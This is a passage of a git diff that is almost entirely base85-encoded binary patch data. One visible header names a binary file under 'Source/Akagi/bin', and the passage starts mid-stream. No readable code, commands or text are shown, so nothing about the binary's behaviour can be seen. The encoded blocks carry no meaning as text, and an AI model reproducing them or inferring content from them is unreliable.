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 Ta^j7RPhtImG!hbCif`_z_!Jgu diff --git a/Source/Akagi/bin/Ikazuchi32.cd b/Source/Akagi/bin/Ikazuchi32.cd index 733b6338001fbb681782c0fdfafe9ae51c5a38ff..78eade93421e2016b50b6f39a1d4dcf6ff370a9c 100644 GIT binary patch delta 3777 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 